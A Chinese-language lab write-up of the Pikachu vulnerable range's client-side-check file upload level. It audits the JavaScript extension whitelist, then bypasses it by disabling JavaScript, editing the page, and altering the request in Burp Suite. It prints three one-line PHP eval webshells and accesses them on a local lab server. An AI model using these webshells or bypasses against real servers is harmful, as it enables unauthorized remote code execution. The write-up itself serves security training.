目录
本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件上传关卡(unsafe upfileupload)之客户端check源码的代码审计找到产生缺陷的真实原因,讲解文件上传关卡客户端check的原理并使用三种不同的方法进行渗透实践。
一、文件上传
1、文件上传
文件上传Vulnerability(File Upload Vulnerability)是指Web应用程序在处理用户上传文件时,未对文件类型、内容、路径等进行严格的安全检查,导致攻击者能够上传恶意文件(如WebShell、木马程序等),从而获取服务器控制权或实施进一步攻击。
2、客户端check
客户端检查(Client-Side Validation)是指通过浏览器端技术(如JavaScript、HTML5属性)对用户上传的文件进行初步验证,例如:
检查文件扩展名(如只允许
.jpg
,.png
)限制文件大小(如
<input type="file" accept=".jpg,.png" max-size="5MB">
)通过JavaScript校验文件类型
客户端检查有如下特点,具体如下表所示。
特点 | 说明 |
---|---|
快速响应 | 用户提交后立即提示错误,无需等待服务器返回。 |
用户体验好 | 减少无效上传请求,节省带宽和时间。 |
安全性低 | 可被绕过(攻击者禁用JS或直接修改HTTP请求)。 |
依赖前端技术 | 需浏览器支持JavaScript/HTML5,否则失效。 |
二、渗透准备
构造文件上传的脚本,内容为一句话马,脚本code内容如下所示。
<?php @eval($_POST[ljn]); ?> 命名为ljn_post.php 用于禁用js法文件上传。
<?php @eval($_POST[ljn2]); ?> 命名为ljn_post2.php用于修改页面法文件上传。
<?php @eval($_POST[ljn3]); ?> 命名为ljn_post3.php用于bp改包法。
三、源码分析
进入文件上传-客户端check关卡,右键view-source查看源码,分析文件上传关卡,发现文件上传的过滤使用JavaScript的函数checkFileExt进行过滤。而checkFileExt函数在onchange中调用,即在浏览器操作界面中,点击“浏览”按钮时调用。
<script>
// 函数:检查文件扩展名是否合法
function checkFileExt(filename) {
var flag = false; // 初始化状态标志(false表示不合法)
var arr = ["jpg", "png", "gif"]; // 允许的扩展名白名单
// 步骤1:提取文件扩展名
var index = filename.lastIndexOf("."); // 找到最后一个`.`的位置
var ext = filename.substr(index + 1); // 截取`.`后的字符串(即扩展名)
// 步骤2:遍历白名单检查扩展名
for (var i = 0; i < arr.length; i++) {
if (ext == arr[i]) {
flag = true; // 匹配到合法扩展名,标记为true
break; // 提前退出循环
}
}
// 步骤3:根据检查结果处理
if (!flag) {
alert("上传的文件不符合要求,请重新选择!"); // 提示用户
location.reload(true); // 强制刷新页面(清空已选文件)
}
}
</script>
接下来分析源码过滤函数的主要功能。
白名单控制:仅允许
jpg
、png
、gif
三种扩展名,符合安全最佳实践。扩展名提取逻辑:
lastIndexOf(".")
定位最后一个点(防止shell.php.jpg
绕过)。substr(index+1)
获取纯扩展名(如xxx.jpg
→jpg
)。
用户反馈:
非法文件会触发
alert()
警告并刷新页面,阻止提交。
很明显代码具有客户端验证的局限性,具体如下所示。
仅客户端校验:可通过禁用JavaScript或修改HTTP请求绕过(需后端二次验证)。
不检查文件内容:攻击者可伪造扩展名(如将
shell.php
改为shell.jpg
)。
分析后可使用3种方法进行渗透,具体如下所示。
- 禁用js法:禁用js使js脚本失效,从而无法执行js过滤函数checkFileExt
- 修改前端页面法:将onchange调用的函数更改为空函数,将php脚本上传到服务器。
- 改包法:将脚本改为jpg后缀后上传,使通过前端过滤函数的检查, 然后将报文发送给bp,在bp中将报文改为php后缀并上传到服务器。
四、js禁用法实战
1、禁用js,刷新页面
2、上传脚本
选择ljn_post.php并点击文件上传。
3、获取脚本地址
脚本构造的方法为
当前网页路径为:http://192.168.59.1/pikachu/vul/unsafeupload/clientcheck.php
当前网页的路径为:http://192.168.59.1/pikachu/vul/unsafeupload/
脚本上传路径为:uploads/ljn_post.php
将这两个拼接到一起即可
http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post.php
4、访问脚本
接下来使用上一步的方法访问URL,其中post的参数为ljn,使ljn=phpinfo();获取服务器的信息,如下所示渗透成功。
网址:http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post.php
Post参数:ljn=phpinfo();
五、修改页面法实战
1、右键元素
pikachu靶场中右键元素,定位到onchange调用checkFileExt函数的位置。
2、修改onchange调用函数为空
将调用checkFileExt函数的位置替换为空函数,同时不刷新选择post型木马点击上传。
3、获取脚本地址
脚本构造的方法为
当前网页路径为:http://192.168.59.1/pikachu/vul/unsafeupload/clientcheck.php
当前网页的路径为:http://192.168.59.1/pikachu/vul/unsafeupload/
脚本上传路径为:uploads/ljn_post2.php
将这两个拼接到一起即可
http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post2.php
4、访问脚本
接下来使用上一步的方法访问URL,其中post的参数为ljn2,使ljn2=phpinfo();获取服务器的信息,如下所示渗透成功。
网址:http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post2.php
Post参数:ljn2=phpinfo();
六、bp改包法渗透
1、修改脚本后缀为jpg
如下所示,复制脚本ljn_post3.php,并将其重命名为ljn_post3.jpg,通过文本编辑器打开图片后效果如下所示。
2、bp开启抓包
打开burpsuite,proxy-intercept配置为intercept is off状态。
3、bp设置拦截报文
4、上传脚本
pikachu靶场上传后缀改为jpg的脚本,点击上传。
5、bp拦截报文
burpsuite抓包后,点击选中此报文,并将报文送到repeater。
在repeater中找到此报文(注意:此时截图中需要用红圈圈住要修改的文件名),如下所示。
在burpsuite intruder中的repeater中将jpg后缀改为php,并点击send,同时在response的render中查看图形化结果,如下所示上传成功。
6、获取脚本地址
分析获取上传后的脚本在服务器的地址(Note:红色文字需替换为自己脚本信息)
当前网页路径为:http://192.168.59.1/pikachu/vul/unsafeupload/clientcheck.php
当前网页的路径为:http://192.168.59.1/pikachu/vul/unsafeupload/
脚本上传路径为:uploads/ljn_post3.php
将这两个拼接到一起即可
http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post3.php
相对于clientcheck.php,可以得到上传到服务器后的脚本路径
7、访问脚本
访问上传成功后的脚本,如下所示成功获取到服务器的php版本信息,证明上传成功。
upload靶场一句话木马网址:http://192.168.59.1/upload-labs/upload/ljn_post3.php
post参数:ljn3=phpinfo();